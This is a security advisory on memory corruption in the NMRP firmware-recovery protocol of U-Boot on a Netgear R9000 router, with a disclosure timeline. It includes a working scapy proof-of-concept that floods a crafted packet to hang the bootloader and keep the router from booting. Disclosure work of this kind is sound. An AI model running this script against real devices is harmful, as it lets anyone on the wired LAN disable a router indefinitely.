Firmware and Hacking
The NMRP protocol is a debug feature used to update firmware images on Netgear Routers over the LAN. This protocol does not require authentication. NMRP is a Layer 2 protocol based on Ethernet. The NMRP daemon starts for three seconds before the U-Boot bootloader begins the boot process of the primary Linux operating system. This is evident by checking the
bootcmd environment variable within U-Boot:
ALPINE_DB> printenv bootcmd bootcmd=nmrp;run check_dni_image;run bootargsnand;qca8337_init_one; ledtoggle;sleep 1;run bootnand
This is the version of U-Boot testing was completed against as output from the U-Boot bootloader:
U-Boot 2015.01-gd836bbb (Jul 22 2016 - 13:32:00)
The specific device used for testing was a Netgear Nighthawk R9000 (x10) router.
Multiple memory corruption issues exist within the NMRP protocol implementation within U-Boot. Any of these vulnerabilities can be exploited to cause the bootloader to hang and no longer accept input from either the network or the primary UART console. The only option is to cut the power in order to restart the device. This results in preventing the operating system from loading and thus the device being operable. An attacker with a wired LAN connection can repeatedly emit these malicious packets so that every time the device attempts to boot, the vulnerability is triggered and the device doesn’t boot into Linux. The end result is an attacker on the wired LAN can prevent the router from ever achieving an operational state.
A python-based proof of concept script is provided to demonstrate the vulnerability. You will need the
scapy package installed in order to run this script.
scapy can be installed with pip:
pip3 install scapy. Additionally, the script will need to be run with root privileges in order to send layer 2 packets.
from scapy.all import * import time SRC_MAC_ADDRESS = "dc:a6:32:1b:1d:c6" DST_MAC_ADDRESS = "cc:40:d0:5d:a2:84" pkt = Ether(src=SRC_MAC_ADDRESS, dst=DST_MAC_ADDRESS, type=0x912) / b'\x00\x00\x01\x00\x00\x0e\x00\x01\x00\x00NTGR\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' while True: sendp(pkt, iface='eth0') # change iface to match ethernet NIC connected to router. time.sleep(0.95)
This vulnerability works by setting the options length to
0x0000 for the initial advertisement packet that is sent to initiate the firmware upload process. Note that you will need to change the
DST_MAC_ADDRESS variables to match your lab configuration, and you may need to change the value for
iface in the
sendp invocation to match your ethernet adapter which is connected to the router. The ethernet connection must be on the first ethernet port on the router.
During testing, many different packets were crafted and sent to the device. Some crafted packets resulted in an error message and subsequent device reload. The aforementioned proof of concept is not the only packet which results in a device hang; there were too many combinations to list individually in this write up. It is recommended that the vendor review the source code for the NMRP protocol and conduct an internal audit for additional memory corruption issues.
4/1/2021 - Initial Release
4/1/2021 - Updating CVSS Score (thanks @ReverseICS).
4/1/2021 - Fixed typo in anticipated disclosure date (Thanks Mulbrook).
4/1/2021 - Fixing another typo in time line (Thanks Mulbrook).
4/5/2021 - Updated Timeline to reflect Netgear Contact.